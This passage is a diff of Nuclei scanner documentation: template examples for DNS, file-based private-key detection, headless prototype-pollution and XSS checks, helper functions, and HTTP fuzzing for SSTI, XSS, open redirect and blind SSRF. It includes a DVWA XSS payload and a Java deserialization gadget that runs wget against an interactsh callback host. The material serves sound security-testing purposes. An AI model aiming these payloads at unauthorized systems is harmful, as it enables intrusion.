Here is an example to query `metrics` while running nuclei as following `nuclei -t cves/ -l urls.txt -metrics`
|
||||
|
||||
```bash
|
||||
|
||||
curl -s localhost:9092/metrics | jq .
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"duration": "0:00:03",
|
||||
"errors": "2",
|
||||
"hosts": "1",
|
||||
"matched": "0",
|
||||
"percent": "99",
|
||||
"requests": "350",
|
||||
"rps": "132",
|
||||
"startedAt": "2021-03-27T18:02:18.886745+05:30",
|
||||
"templates": "256",
|
||||
"total": "352"
|
||||
}
|
||||
```
|
||||
|
||||
## Passive Scan
|
||||
|
||||
Nuclei engine supports passive mode scanning for HTTP based template utilizing file support, with this support we can run HTTP based templates against locally stored HTTP response data collected from any other tool.
|
||||
|
||||
```sh
|
||||
nuclei -passive -target http_data
|
||||
```
|
||||
|
||||
<Note>Passive mode support is limited for templates having `{{BasedURL}}` or `{{BasedURL/}}` as base path.</Note>
|
||||
BIN
docs/images/ai.jpg
Normal file
|
After Width: | Height: | Size: 490 KiB |
BIN
docs/images/background.png
Normal file
|
After Width: | Height: | Size: 384 KiB |
BIN
docs/images/editor.jpg
Normal file
|
After Width: | Height: | Size: 1.0 MiB |
BIN
docs/images/share-template.jpg
Normal file
|
After Width: | Height: | Size: 618 KiB |
BIN
docs/logo/dark.png
Normal file
|
After Width: | Height: | Size: 23 KiB |
BIN
docs/logo/light.png
Normal file
|
After Width: | Height: | Size: 28 KiB |
138
docs/mint.json
Normal file
@ -0,0 +1,138 @@
|
||||
{
|
||||
"$schema": "https://mintlify.com/schema.json",
|
||||
"name": "Nuclei Documentation",
|
||||
"logo": {
|
||||
"dark": "/logo/dark.png",
|
||||
"light": "/logo/light.png"
|
||||
},
|
||||
"favicon": "/favicon.png",
|
||||
"colors": {
|
||||
"primary": "#3B2FC9",
|
||||
"light": "#6673FF",
|
||||
"dark": "#3B2FC9"
|
||||
},
|
||||
"backgroundImage": "/images/background.png",
|
||||
"topbarCtaButton": {
|
||||
"type": "github",
|
||||
"url": "https://github.com/projectdiscovery/nuclei"
|
||||
},
|
||||
"topAnchor": {
|
||||
"name": "Getting Started",
|
||||
"icon": "circle-play"
|
||||
},
|
||||
"primaryTab": {
|
||||
"name": "Getting Started"
|
||||
},
|
||||
"tabs": [
|
||||
{
|
||||
"name": "Template Guide",
|
||||
"url": "template-guide"
|
||||
},
|
||||
{
|
||||
"name": "Template Example",
|
||||
"url": "template-example"
|
||||
},
|
||||
{
|
||||
"name": "Template Editor",
|
||||
"url": "editor"
|
||||
},
|
||||
{
|
||||
"name": "FAQ",
|
||||
"url": "faq"
|
||||
}
|
||||
],
|
||||
"navigation": [
|
||||
{
|
||||
"group": "Getting Started",
|
||||
"pages": [
|
||||
"getting-started/overview",
|
||||
"getting-started/features",
|
||||
"getting-started/install",
|
||||
"getting-started/running"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group": "Template Guide",
|
||||
"pages": [
|
||||
"template-guide/introduction",
|
||||
"template-guide/template-details",
|
||||
{
|
||||
"group": "HTTPs",
|
||||
"pages": [
|
||||
"template-guide/http/base-http",
|
||||
"template-guide/http/raw-http",
|
||||
"template-guide/http/http-payloads",
|
||||
"template-guide/http/http-fuzzing",
|
||||
"template-guide/http/unsafe-http",
|
||||
"template-guide/http/advance-http"
|
||||
]
|
||||
},
|
||||
"template-guide/headless",
|
||||
"template-guide/network",
|
||||
"template-guide/dns",
|
||||
"template-guide/file",
|
||||
{
|
||||
"group": "Operators",
|
||||
"pages": [
|
||||
"template-guide/operators/matchers",
|
||||
"template-guide/operators/extractors"
|
||||
]
|
||||
},
|
||||
"template-guide/oob-testing",
|
||||
"template-guide/helper-functions",
|
||||
"template-guide/variables",
|
||||
"template-guide/preprocessors",
|
||||
"template-guide/workflows"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group": "Template Example",
|
||||
"pages": [
|
||||
{
|
||||
"group": "HTTP",
|
||||
"pages": [
|
||||
"template-example/http/base-http",
|
||||
"template-example/http/raw-http",
|
||||
"template-example/http/http-fuzzing",
|
||||
"template-example/http/http-smuggling",
|
||||
"template-example/http/http-payloads",
|
||||
"template-example/http/http-race-conditions"
|
||||
]
|
||||
},
|
||||
"template-example/dns",
|
||||
"template-example/file",
|
||||
"template-example/headless",
|
||||
"template-example/network",
|
||||
"template-example/workflow",
|
||||
"template-example/helper-functions"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group": "Editor",
|
||||
"pages": [
|
||||
"editor/introduction",
|
||||
"editor/ai",
|
||||
"editor/share",
|
||||
"editor/shortcut"
|
||||
]
|
||||
},
|
||||
|
||||
{
|
||||
"group": "FAQ",
|
||||
"pages": [
|
||||
"faq/nuclei",
|
||||
"faq/templates",
|
||||
"faq/editor"
|
||||
]
|
||||
}
|
||||
],
|
||||
"footerSocials": {
|
||||
"twitter": "https://twitter.com/pdnuclei",
|
||||
"github": "https://github.com/projectdiscovery/nuclei",
|
||||
"discord": "https://discord.com/invite/projectdiscovery"
|
||||
},
|
||||
"feedback": {
|
||||
"thumbsRating": true,
|
||||
"suggestEdit": true
|
||||
}
|
||||
}
|
||||
58
docs/template-example/dns.mdx
Normal file
@ -0,0 +1,58 @@
|
||||
---
|
||||
title: "DNS"
|
||||
---
|
||||
|
||||
## Basic template
|
||||
|
||||
Basic DNS Request to detect if a CNAME record exists for an input.
|
||||
|
||||
```yaml
|
||||
id: basic-dns-example
|
||||
|
||||
info:
|
||||
name: Test DNS Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: CNAME
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
# The response must contain a CNAME record
|
||||
- "IN\tCNAME"
|
||||
```
|
||||
|
||||
## Multiple matcher
|
||||
|
||||
An example showcasing multiple matchers of nuclei, allowing detection of Subdomains with CNAME records that point to either `zendesk.com` or `github.io`.
|
||||
|
||||
```yaml
|
||||
id: multiple-matcher
|
||||
|
||||
info:
|
||||
name: Test DNS Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: CNAME
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 5
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
name: zendesk
|
||||
words:
|
||||
- "zendesk.com"
|
||||
- type: word
|
||||
name: github
|
||||
words:
|
||||
- "github.io"
|
||||
```
|
||||
58
docs/template-example/file.mdx
Normal file
@ -0,0 +1,58 @@
|
||||
---
|
||||
title: "File"
|
||||
---
|
||||
|
||||
## Basic File Template
|
||||
|
||||
This template checks for a pattern in provided files.
|
||||
|
||||
```yaml
|
||||
id: ssh-public-key
|
||||
|
||||
info:
|
||||
name: SSH Public Key Detect
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- pub
|
||||
max-size: 1024 # read very small chunks
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "ssh-rsa"
|
||||
```
|
||||
|
||||
## Extension Denylist with No-Recursive
|
||||
|
||||
The below template is same as last one, but it makes use of an extension denylist along with the no-recursive option.
|
||||
|
||||
```yaml
|
||||
id: ssh-private-key
|
||||
|
||||
info:
|
||||
name: SSH Private Key Detect
|
||||
author: pd-team
|
||||
severity: high
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- all
|
||||
denylist:
|
||||
- pub
|
||||
no-recursive: true
|
||||
max-size: 1024 # read very small chunks
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "BEGIN OPENSSH PRIVATE KEY"
|
||||
- "BEGIN PRIVATE KEY"
|
||||
- "BEGIN RSA PRIVATE KEY"
|
||||
- "BEGIN DSA PRIVATE KEY"
|
||||
- "BEGIN EC PRIVATE KEY"
|
||||
- "BEGIN PGP PRIVATE KEY BLOCK"
|
||||
- "ssh-rsa"
|
||||
```
|
||||
276
docs/template-example/headless.mdx
Normal file
@ -0,0 +1,276 @@
|
||||
---
|
||||
title: "Headless"
|
||||
---
|
||||
|
||||
## Basic Headless Navigation Example
|
||||
|
||||
This template visits a URL in the headless browser and waits for it to load.
|
||||
|
||||
```yaml
|
||||
id: basic-headless-request
|
||||
|
||||
info:
|
||||
name: Basic Headless Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}"
|
||||
- action: waitload
|
||||
```
|
||||
|
||||
## Headless prototype pollution detection
|
||||
|
||||
The below template detects prototype pollution on pages with Nuclei headless capabilities. The code for detection is taken from [https://github.com/msrkp/PPScan](https://github.com/msrkp/PPScan). We make use of script injection capabilities of nuclei to provide reliable detection for prototype pollution.
|
||||
|
||||
```yaml
|
||||
id: prototype-pollution-check
|
||||
|
||||
info:
|
||||
name: Prototype Pollution Check
|
||||
author: pd-team
|
||||
severity: medium
|
||||
reference: https://github.com/msrkp/PPScan
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: X-Frame-Options
|
||||
value: foo
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: If-None-Match
|
||||
value: foo
|
||||
# Set the hook to override window.data for xss detection
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: |
|
||||
// Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
|
||||
(function() {window.alerts = [];
|
||||
|
||||
function logger(found) {
|
||||
window.alerts.push(found);
|
||||
}
|
||||
|
||||
function check() {
|
||||
loc = location.href;
|
||||
|
||||
if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
|
||||
setTimeout(function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
}
|
||||
var url = new URL(location.origin + location.pathname);
|
||||
url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
|
||||
location = url.href;
|
||||
}, 5 * 1000);
|
||||
} else if (loc.search("a0def12bce") != -1) {
|
||||
setTimeout(function() {
|
||||
if (Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
}
|
||||
window.close();
|
||||
}, 5 * 1000);
|
||||
} else {
|
||||
var url = new URL(loc);
|
||||
url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
|
||||
url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
|
||||
location = url.href;
|
||||
}
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
} else {
|
||||
check();
|
||||
}
|
||||
};
|
||||
|
||||
var timerID = setInterval(function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
clearInterval(timerID);
|
||||
}
|
||||
}, 5 * 1000)})();
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alerts
|
||||
args:
|
||||
code: "window.alerts"
|
||||
matchers:
|
||||
- type: word
|
||||
part: alerts
|
||||
words:
|
||||
- "__proto__"
|
||||
extractors:
|
||||
- type: kval
|
||||
part: alerts
|
||||
kval:
|
||||
- alerts
|
||||
```
|
||||
|
||||
## DVWA XSS Reproduction With Headless Mode
|
||||
|
||||
This template logs into DVWA (Damn Vulnerable Web App) and tries to automatically reproduce a Reflected XSS, returning a match if it found that the payload was executed successfully.
|
||||
|
||||
```yaml
|
||||
id: dvwa-xss-verification
|
||||
|
||||
info:
|
||||
name: DVWA Reflected XSS Verification
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
|
||||
# Set the hook to override window.data for xss detection
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: "(function() { window.alert = function() { window.data = 'found' } })()"
|
||||
- args:
|
||||
by: x
|
||||
value: admin
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: text
|
||||
- args:
|
||||
by: x
|
||||
value: password
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: text
|
||||
- args:
|
||||
by: x
|
||||
xpath: /html/body/div/div[2]/form/fieldset/p/input
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: x
|
||||
xpath: /html/body/div/div[2]/div/ul[2]/li[11]/a
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: x
|
||||
value: '"><svg/onload=alert(1)>'
|
||||
xpath: /html/body/div/div[3]/div/div/form/p/input
|
||||
action: text
|
||||
- args:
|
||||
keys: "\r" # Press the enter key on the keyboard
|
||||
action: keyboard
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alert
|
||||
args:
|
||||
code: "window.data"
|
||||
matchers:
|
||||
- part: alert
|
||||
type: word
|
||||
words:
|
||||
- "found"
|
||||
```
|
||||
|
||||
## DOM XSS Detection
|
||||
|
||||
This template performs detection of DOM-XSS for `window.name` source by hooking common sinks such as `eval`, `innerHTML` and `document.write`.
|
||||
|
||||
```yaml
|
||||
id: window-name-domxss
|
||||
|
||||
info:
|
||||
name: window.name DOM XSS
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: |
|
||||
(function() {window.alerts = [];
|
||||
|
||||
function logger(found) {
|
||||
window.alerts.push(found);
|
||||
}
|
||||
|
||||
function getStackTrace () {
|
||||
var stack;
|
||||
try {
|
||||
throw new Error('');
|
||||
}
|
||||
catch (error) {
|
||||
stack = error.stack || '';
|
||||
}
|
||||
stack = stack.split('\n').map(function (line) { return line.trim(); });
|
||||
return stack.splice(stack[0] == 'Error' ? 2 : 1);
|
||||
}
|
||||
window.name = "{{randstr_1}}'\"<>";
|
||||
|
||||
var oldEval = eval;
|
||||
var oldDocumentWrite = document.write;
|
||||
var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
|
||||
Object.defineProperty(Element.prototype, 'innerHTML', {
|
||||
set: function innerHTML_Setter(val) {
|
||||
if (val.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
|
||||
}
|
||||
return setter.call(this, val)
|
||||
}
|
||||
});
|
||||
eval = function(data) {
|
||||
if (data.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
|
||||
}
|
||||
return oldEval.apply(this, arguments);
|
||||
};
|
||||
document.write = function(data) {
|
||||
if (data.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
|
||||
}
|
||||
return oldEval.apply(this, arguments);
|
||||
};
|
||||
})();
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alerts
|
||||
args:
|
||||
code: "window.alerts"
|
||||
matchers:
|
||||
- type: word
|
||||
part: alerts
|
||||
words:
|
||||
- "sink:"
|
||||
extractors:
|
||||
- type: kval
|
||||
part: alerts
|
||||
kval:
|
||||
- alerts
|
||||
```
|
||||
100
docs/template-example/helper-functions.mdx
Normal file
@ -0,0 +1,100 @@
|
||||
---
|
||||
title: "Helpers"
|
||||
---
|
||||
|
||||
## Helper Functions Examples
|
||||
|
||||
Nuclei has a number of helper functions that may be used to conduct various run-time operations on the request block. Here's an example template that shows how to use all the available helper functions.
|
||||
|
||||
```yaml
|
||||
id: helper-functions-examples
|
||||
|
||||
info:
|
||||
name: RAW Template with Helper Functions
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
1: {{base64("Hello")}}
|
||||
2: {{base64(1234)}}
|
||||
3: {{base64_decode("SGVsbG8=")}}
|
||||
4: {{base64_py("Hello")}}
|
||||
5: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
|
||||
6: {{concat("Hello", "world")}}
|
||||
7: {{contains("Hello", "lo")}}
|
||||
8: {{contains_all("Hello everyone", "lo", "every")}}
|
||||
9: {{contains_any("Hello everyone", "abc", "llo")}}
|
||||
10: {{date_time("%Y-%M-%D")}}
|
||||
11: {{date_time("%Y-%M-%D", unix_time())}}
|
||||
12: {{date_time("%H-%m")}}
|
||||
13: {{date_time("02-01-2006 15:04")}}
|
||||
14: {{date_time("02-01-2006 15:04", unix_time())}}
|
||||
15: {{dec_to_hex(11111)}}
|
||||
16: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
||||
17: {{gzip("Hello")}}
|
||||
18: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
|
||||
19: {{hex_decode("6161")}}
|
||||
20: {{hex_encode("aa")}}
|
||||
21: {{hmac("sha1", "test", "scrt")}}
|
||||
22: {{hmac("sha256", "test", "scrt")}}
|
||||
23: {{html_escape("<body>test</body>")}}
|
||||
24: {{html_unescape("<body>test</body>")}}
|
||||
25: {{join("_", "hello", "world")}}
|
||||
26: {{len("Hello")}}
|
||||
27: {{len(5555)}}
|
||||
28: {{md5("Hello")}}
|
||||
29: {{md5(1234)}}
|
||||
30: {{mmh3("Hello")}}
|
||||
31: {{print_debug(1+2, "Hello")}}
|
||||
32: {{rand_base(5, "abc")}}
|
||||
33: {{rand_base(5, "")}}
|
||||
34: {{rand_base(5)}}
|
||||
35: {{rand_char("abc")}}
|
||||
36: {{rand_char("")}}
|
||||
37: {{rand_char()}}
|
||||
38: {{rand_int(1, 10)}}
|
||||
39: {{rand_int(10)}}
|
||||
40: {{rand_int()}}
|
||||
41: {{rand_ip("192.168.0.0/24")}}
|
||||
42: {{rand_ip("2002:c0a8::/24")}}
|
||||
43: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
|
||||
44: {{rand_text_alpha(10, "abc")}}
|
||||
45: {{rand_text_alpha(10, "")}}
|
||||
46: {{rand_text_alpha(10)}}
|
||||
47: {{rand_text_alphanumeric(10, "ab12")}}
|
||||
48: {{rand_text_alphanumeric(10)}}
|
||||
49: {{rand_text_numeric(10, 123)}}
|
||||
50: {{rand_text_numeric(10)}}
|
||||
51: {{regex("H([a-z]+)o", "Hello")}}
|
||||
52: {{remove_bad_chars("abcd", "bc")}}
|
||||
53: {{repeat("a", 5)}}
|
||||
54: {{replace("Hello", "He", "Ha")}}
|
||||
55: {{replace_regex("He123llo", "(\\d+)", "")}}
|
||||
56: {{reverse("abc")}}
|
||||
57: {{sha1("Hello")}}
|
||||
58: {{sha256("Hello")}}
|
||||
59: {{to_lower("HELLO")}}
|
||||
60: {{to_upper("hello")}}
|
||||
61: {{trim("aaaHelloddd", "ad")}}
|
||||
62: {{trim_left("aaaHelloddd", "ad")}}
|
||||
63: {{trim_prefix("aaHelloaa", "aa")}}
|
||||
64: {{trim_right("aaaHelloddd", "ad")}}
|
||||
65: {{trim_space(" Hello ")}}
|
||||
66: {{trim_suffix("aaHelloaa", "aa")}}
|
||||
67: {{unix_time(10)}}
|
||||
68: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
|
||||
69: {{url_encode("https://projectdiscovery.io/test?a=1")}}
|
||||
70: {{wait_for(1)}}
|
||||
71: {{zlib("Hello")}}
|
||||
72: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
|
||||
73: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
|
||||
74: {{starts_with("Hello", "He")}}
|
||||
75: {{ends_with("Hello", "lo")}}
|
||||
76: {{line_starts_with("Hi\nHello", "He")}}
|
||||
77: {{line_ends_with("Hello\nHi", "lo")}}
|
||||
78: {{ip_format("169.254.169.254", 4)}}
|
||||
```
|
||||
218
docs/template-example/http/base-http.mdx
Normal file
@ -0,0 +1,218 @@
|
||||
---
|
||||
title: "Base HTTP"
|
||||
---
|
||||
|
||||
## Basic Template
|
||||
|
||||
This template requests `/` path of URL and match string in the response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: basic-example
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "This is test matcher text"
|
||||
```
|
||||
|
||||
## Multiple matchers
|
||||
|
||||
This template requests `/` path of URL and run multiple OR based matchers against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: http-multiple-matchers
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: php
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
name: node
|
||||
words:
|
||||
- "Server: NodeJS"
|
||||
- "X-Powered-By: nodejs"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
name: python
|
||||
words:
|
||||
- "Python/2."
|
||||
- "Python/3."
|
||||
part: header
|
||||
```
|
||||
|
||||
## Matchers with conditions
|
||||
|
||||
This template requests `/` path of URL and runs two matchers, one with AND conditions with string match in header and another matcher against response body.
|
||||
|
||||
|
||||
```yaml
|
||||
id: matchers-conditions
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: and
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "PHP"
|
||||
part: body
|
||||
```
|
||||
## Multiple matcher conditions
|
||||
|
||||
This template requests `/` path of URL and runs two matchers with AND conditions, one with OR conditions with string match in header and another matcher against response body, both condition has to be true in order to match this template.
|
||||
|
||||
```yaml
|
||||
id: multiple-matchers-conditions
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- PHP
|
||||
part: body
|
||||
```
|
||||
|
||||
## Custom headers
|
||||
|
||||
This template requests `/` path of the URL as GET request with additional custom headers defined in the template.
|
||||
|
||||
```yaml
|
||||
id: custom-headers
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
|
||||
# Example of sending some headers to the servers
|
||||
|
||||
headers:
|
||||
|
||||
X-Client-IP: 127.0.0.1
|
||||
X-Remote-IP: 127.0.0.1
|
||||
X-Remote-Addr: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
X-Originating-IP: 127.0.0.1
|
||||
|
||||
path:
|
||||
- "{{BaseURL}}/server-status"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- Apache Server Status
|
||||
- Server Version
|
||||
condition: and
|
||||
```
|
||||
|
||||
## POST requests
|
||||
|
||||
This template makes POST request to `/admin` endpoint with defined data as body parameter in the template.
|
||||
|
||||
|
||||
|
||||
```yaml
|
||||
id: post-request
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/admin"
|
||||
|
||||
body: 'admin=test'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- Welcome Admin
|
||||
```
|
||||
|
||||
## Time based Matcher
|
||||
|
||||
This template is example of DSL based duration matcher that returns `true` when the response time matched the defined duration, in this case 6 or more than 6 seconds.
|
||||
|
||||
```yaml
|
||||
id: time-based-matcher
|
||||
|
||||
info:
|
||||
name: DSL based response time matcher
|
||||
author: pdteam
|
||||
severity: none
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /slow HTTP/1.1
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'duration>=6'
|
||||
```
|
||||
209
docs/template-example/http/http-fuzzing.mdx
Normal file
@ -0,0 +1,209 @@
|
||||
---
|
||||
title: "HTTP Fuzzing"
|
||||
---
|
||||
|
||||
## Basic SSTI Template
|
||||
|
||||
A simple template to discover `{{<number>*<number>}}` type SSTI vulnerabilities.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-ssti
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential SSTI Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
variables:
|
||||
first: "{{rand_int(10000, 99999)}}"
|
||||
second: "{{rand_int(10000, 99999)}}"
|
||||
result: "{{to_number(first)*to_number(second)}}"
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- '{{concat("{{", "§first§*§second§", "}}")}}'
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: multiple
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{result}}"
|
||||
```
|
||||
## Basic XSS Template
|
||||
|
||||
A simple template to discover XSS probe reflection in HTML pages.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-xss
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential XSS Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- "6842'\"><9967"
|
||||
stop-at-first-match: true
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{reflection}}"
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
```
|
||||
|
||||
## Basic OpenRedirect Template
|
||||
|
||||
A simple template to discover open-redirects issues.
|
||||
|
||||
```yaml
|
||||
id: fuzz-open-redirect
|
||||
|
||||
info:
|
||||
name: Basic Open Redirect Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "https://example.com"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys-regex:
|
||||
- "redirect.*"
|
||||
fuzz:
|
||||
- "{{redirect}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "{{redirect}}"
|
||||
- type: status
|
||||
status:
|
||||
- 301
|
||||
- 302
|
||||
- 307
|
||||
```
|
||||
|
||||
## Blind SSRF OOB Detection
|
||||
|
||||
A simple template to detect Blind SSRF in known-parameters using interact.sh with HTTP fuzzing.
|
||||
|
||||
```yaml
|
||||
id: fuzz-ssrf
|
||||
|
||||
info:
|
||||
name: Basic Blind SSRF Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "dest"
|
||||
- "redirect"
|
||||
- "uri"
|
||||
- "path"
|
||||
- "continue"
|
||||
- "url"
|
||||
- "window"
|
||||
- "next"
|
||||
- "data"
|
||||
- "reference"
|
||||
- "site"
|
||||
- "html"
|
||||
- "val"
|
||||
- "validate"
|
||||
- "domain"
|
||||
- "callback"
|
||||
- "return"
|
||||
- "page"
|
||||
- "feed"
|
||||
- "host"
|
||||
- "port"
|
||||
- "to"
|
||||
- "out"
|
||||
- "view"
|
||||
- "dir"
|
||||
- "show"
|
||||
- "navigation"
|
||||
- "open"
|
||||
fuzz:
|
||||
- "https://{{redirect}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
